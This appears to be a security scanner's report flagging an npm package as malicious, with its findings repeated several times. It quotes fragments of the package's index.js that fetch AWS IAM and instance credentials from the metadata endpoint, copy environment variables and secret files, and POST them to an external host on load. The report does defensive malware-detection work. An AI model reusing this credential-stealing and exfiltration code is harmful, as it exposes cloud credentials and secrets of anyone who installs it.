@hrmony/pladddform-codegen@49.99.0: Malicious npm security report

Loading npm security reports…

@hrmony/pladddform-codegen@49.99.0: Malicious npm security report | LPM Firewall

Source & flagged code

7 flagged

4L5: const EXPORTER_URL = "https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_pladddform-codegen"; L6: L7: await fetch(EXPORTER_URL, { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify({ "c53": "hello" }) }); L8: async function aws_get() { L9: const IMDS = "http://169.254.169.254"; L10: const META_URL = `${IMDS}/latest/meta-data`; ... L15: const res = await fetch(url, { ...options, signal: AbortSignal.timeout(TIMEOUT_MS) }); L16: return await res.text(); L17: } ... L57: const base = `${META_URL}/network/interfaces/macs/${mac}`; L58: const [ownerId, publicHostname, securityGroups, privateIpv4s, subnetIpv4,

High

Cloud Metadata Access

Source reaches cloud instance metadata or link-local credential endpoints.

index.jsView on unpkg · L4

•matchType = malicious_source_fingerprint_signature signature = b2fb64b1935ac954 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @hrmony/organisationsverwaltung@7.99.0 matchedPath = index.js matchedIdentity = npm:[redacted]:7.99.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

5const EXPORTER_URL = "https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_pladddform-codegen"; await fetch(EXPORTER_URL, { method: "POST", headers: { "content-type": "application/json" }, body: JSON.st

High

Ai Review Evidence

The entrypoint sends a POST request to an external exporter as it loads.

index.jsView on unpkg · L5

82// IAM const roleNames = asList(await safeReq(`${META_URL}/iam/security-credentials/`)); const roleCreds = await Promise.all( roleNames.map((r) => safeReq(`${META_URL}/iam/security-credentials/${r}`)) ); info.iam = { info: asJson(await safeReq(`${META_URL}/iam/info`)), user_data: await safeReq(`${IMDS}/latest/user-data`), ec2_cred: asJson(await safeReq(`${META_URL}/identity-credentials/ec2/security-credentials/ec2-instance`)), roles: Object.fromEntries(roleNames.map((r, i) => [r, asJson(roleCreds[i])])), }; info.col

High

Ai Review Evidence

The code queries AWS instance metadata, including IAM role credentials and instance credentials.

index.jsView on unpkg · L82

94info.collected_at = new Date().toISOString(); const res = await fetch(EXPORTER_URL, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(info), }); return info; } async function local_get() { const envs = {}; for (const [key, value] of Object.entries(process.env)) { envs[key] = value; } function readSecrets(dir, out

High

Ai Review Evidence

Collected AWS information is POSTed to the external exporter.

index.jsView on unpkg · L94

104async function local_get() { const envs = {}; for (const [key, value] of Object.entries(process.env)) { envs[key] = value; } function readSecrets(dir, out = {}) { try { for (const e of fs.readdirSync(dir, { withFileTypes: true })) { const p = path.join(dir, e.name); try { if (fs.statSync(p).isDirectory()) readSecrets(p, out); else out[p] = fs.readFileSync(p, 'utf8'); } catch (err) { out[p] = `ERROR: ${err.message}`;

High

Ai Review Evidence

The code copies all environment variables and recursively reads Kubernetes secret files.

index.jsView on unpkg · L104

package.jsonView file

1{ "name": "@hrmony/pladddform-codegen", "version": "49.99.0", "description": "", "main": "index.js", "files": [ "index.js" ], "scripts": { "test": "echo \"Err

High

Ai Review Evidence

The manifest names index.js as the package entrypoint.

package.jsonView on unpkg · L1

Source & flagged code

7 flagged · loading source

index.jsView file

High

Cloud Metadata Access

Source reaches cloud instance metadata or link-local credential endpoints.

index.jsView on unpkg · L4

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

High

Ai Review Evidence

The entrypoint sends a POST request to an external exporter as it loads.

index.jsView on unpkg · L5

High

Ai Review Evidence

The code queries AWS instance metadata, including IAM role credentials and instance credentials.

index.jsView on unpkg · L82

High

Ai Review Evidence

Collected AWS information is POSTed to the external exporter.

index.jsView on unpkg · L94

High

Ai Review Evidence

The code copies all environment variables and recursively reads Kubernetes secret files.

index.jsView on unpkg · L104

package.jsonView file

1{ "name": "@hrmony/pladddform-codegen", "version": "49.99.0", "description": "", "main": "index.js", "files": [ "index.js" ], "scripts": { "test": "echo \"Err

High

Ai Review Evidence

The manifest names index.js as the package entrypoint.

package.jsonView on unpkg · L1

Source & flagged code

7 flagged

index.jsView file

High

Cloud Metadata Access

Source reaches cloud instance metadata or link-local credential endpoints.

index.jsView on unpkg · L4

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

High

Ai Review Evidence

The entrypoint sends a POST request to an external exporter as it loads.

index.jsView on unpkg · L5

High

Ai Review Evidence

The code queries AWS instance metadata, including IAM role credentials and instance credentials.

index.jsView on unpkg · L82

High

Ai Review Evidence

Collected AWS information is POSTed to the external exporter.

index.jsView on unpkg · L94

High

Ai Review Evidence

The code copies all environment variables and recursively reads Kubernetes secret files.

index.jsView on unpkg · L104

package.jsonView file

1{ "name": "@hrmony/pladddform-codegen", "version": "49.99.0", "description": "", "main": "index.js", "files": [ "index.js" ], "scripts": { "test": "echo \"Err

High

Ai Review Evidence

The manifest names index.js as the package entrypoint.

package.jsonView on unpkg · L1

@hrmony/pladddform-codegen@49.99.0

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code